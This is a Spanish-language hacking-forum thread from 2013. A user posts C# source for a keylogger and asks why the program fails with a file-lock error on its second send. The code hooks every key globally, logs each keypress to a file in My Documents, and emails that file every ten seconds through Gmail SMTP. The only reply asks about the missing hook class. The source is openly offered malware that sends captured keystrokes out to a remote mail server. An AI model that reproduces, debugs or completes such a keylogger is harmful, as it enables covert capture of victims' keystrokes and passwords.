elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  keylogger en c#
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: keylogger en c#  (Leído 2,375 veces)
loml666

Desconectado Desconectado

Mensajes: 24


Ver Perfil
keylogger en c#
« en: 7 Mayo 2013, 18:03 pm »

trabajo en este programa hace tiempo, pero sigue sin funcionar, puede crear el archivo con las teclas presionadas la primera vez y enviarlo a mi correo, pero la segunda vez obtengo este error:

IOException

The process cannot access the file 'C:\Documents and Settings\luis_m\Mis documentos\test.txt' because it is being used by another process.

He intentado muchas cosas pero sigue sin funcionar, creo que esto sucede al intentar enviarlo al correo.

Aquí esta el código:


using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using Utilities;
using System.IO;
using System.Net.Mail;

namespace WindowsApplication1
{
    public partial class Form1 : Form
    {
        static System.Timers.Timer t;
        string p = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments) + @"\test.txt";
        //int send = 1;
        string fileName = "test.txt";
        string sourcePath = @"C:\Documents and Settings\luis_m\Mis documentos";
        string targetPath = @"C:\Documents and Settings\luis_m\Mis documentos\gegl-0.0";

        // Use Path class to manipulate file and directory paths.
        string sourceFile ;
        string destFile ;
        public Form1()
        {
            InitializeComponent();
        }
        globalKeyboardHook gkh = new globalKeyboardHook();
        private void HookAll()
        {
            foreach (object key in Enum.GetValues(typeof(Keys)))
            {
                gkh.HookedKeys.Add((Keys)key);
            }
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            //send = 0;

            gkh.KeyDown += new KeyEventHandler(gkh_KeyDown); HookAll(); if (File.Exists(@""+p))
            {
                File.Delete(@""+p);
            }
            t = new System.Timers.Timer();

            t.Elapsed += new System.Timers.ElapsedEventHandler(t_Elapsed);

            t.Start();
            this.setTime();
            //send = 1;
        }
        public void setTime()
        {

            t.Interval = 10000;
            t.Elapsed += new System.Timers.ElapsedEventHandler(t_Elapsed);
            t.Start();

        }
        void t_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
        {
            string sourceFile = System.IO.Path.Combine(sourcePath, fileName);
            string destFile = System.IO.Path.Combine(targetPath, fileName);

            //System.IO.File.Copy(sourceFile, destFile, true);
            //send = 0;
            string From;
            string To;
            string Subject;
            string Message;

            System.Net.Mail.MailMessage Email;

            // email
            From = "xxx@gmail.com";
            To = "xxx@gmail.com";
            Subject = "KeyLogger BETA";
            Message = "Aqui ta pimpum";
            // smtp
            Email = new System.Net.Mail.MailMessage(From, To, Subject, Message);
            System.Net.Mail.SmtpClient smtpClient = new System.Net.Mail.SmtpClient("smtp.gmail.com");
            smtpClient.EnableSsl = true;
            //
            //Email.Attachments.Add(new Attachment(@"" + destFile));
            Attachment data = new Attachment(@"" + p);
            Email.Attachments.Add(data);
            //
            smtpClient.UseDefaultCredentials = true;
            smtpClient.Host = "smtp.gmail.com";
            smtpClient.Port = 25;
            smtpClient.Credentials = new System.Net.NetworkCredential("xxx@gmail.com", "xxxxxxxxxxxxx");
            // email send
            try
            {

                smtpClient.Send(Email);
                // failed = 0;

            }

            catch
            {

                 data.Dispose();

                // failed = 1;

            }

             data.Dispose();

            //smtpClient.Send(Email);

        }
        void gkh_KeyDown(object sender, KeyEventArgs e) {
           
                StreamWriter SW = new StreamWriter(@"" + p, true); SW.Write(e.KeyCode); SW.Close();

        }
    }
}


En línea

ykas

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: keylogger en c#
« Respuesta #1 en: 27 Mayo 2013, 08:59 am »

Amigo y la clase globalKeyboardHook()   ???


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
usb keylogger, o keylogger desde modo seguro.
Seguridad
minerif 0 3,196 Último mensaje 24 Marzo 2013, 23:20 pm
por minerif
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines